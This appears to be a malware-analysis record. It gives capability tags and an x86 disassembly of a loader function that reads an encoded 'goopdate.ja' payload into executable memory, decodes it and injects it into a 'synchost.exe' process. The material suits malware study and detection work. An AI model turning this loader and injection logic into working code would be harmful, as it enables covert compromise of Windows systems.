Function at 0x10008e70
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
call fcn.100084f0
push 0
push 0
push 0
push 0x10008db0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
je 0x10008ebf
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.10007d20
test eax, eax
je 0x10008ebf
call fcn.10008a00
mov esp, ebp
pop ebp
ret
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1000f750
add esp, 0xc
push str.C:ProgramDatauncfg.cfg
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x10008f5a
push 0
push 0x80
push 3
push 0
push 0
push 1
push str.C:ProgramDatauncfg.cfg
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10008f5a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x110]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10008f37
mov eax, dword [str.goopdate.ja]
mov dword [ecx], eax
mov eax, dword [0x100381e4]
mov dword [ecx + 4], eax
mov eax, dword [0x100381e8]
mov dword [ecx + 8], eax
jmp 0x10008f77
lea edi, [ebp - 0x110]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10008f61
mov ecx, 8
mov esi, str.c:programdata_vxhostgoopdate.ja
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0
push 0x80
push 3
push 0
push 0
push 1
lea eax, [ebp - 0x110]
push eax
call ebx
mov edi, eax
cmp edi, 0xffffffff
je 0x10009075
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
lea eax, [ebp - 0xc]
push 0
push eax
push esi
push ebx
push edi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov edx, ebx
mov ecx, 0x3d
call fcn.10008730
push 0x104
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.1000f750
add esp, 0x10
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x214]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10009010
mov eax, dword [str._synchost.exe]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ecx], eax
mov eax, dword [0x100381fc]
mov dword [ecx + 4], eax
mov eax, dword [0x10038200]
mov dword [ecx + 8], eax
mov ax, word [0x10038204]
mov word [ecx + 0xc], ax
mov dword [ebp - 4], 0
nop
push esi
push dword [ebp - 8]
lea edx, [ebp - 4]
lea ecx, [ebp - 0x214]
call fcn.10004da0
add esp, 8
push 0xffffffffffffffff
push dword [ebp - 4]
call edi
push 0x1388
call ebx
jmp 0x10009050
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret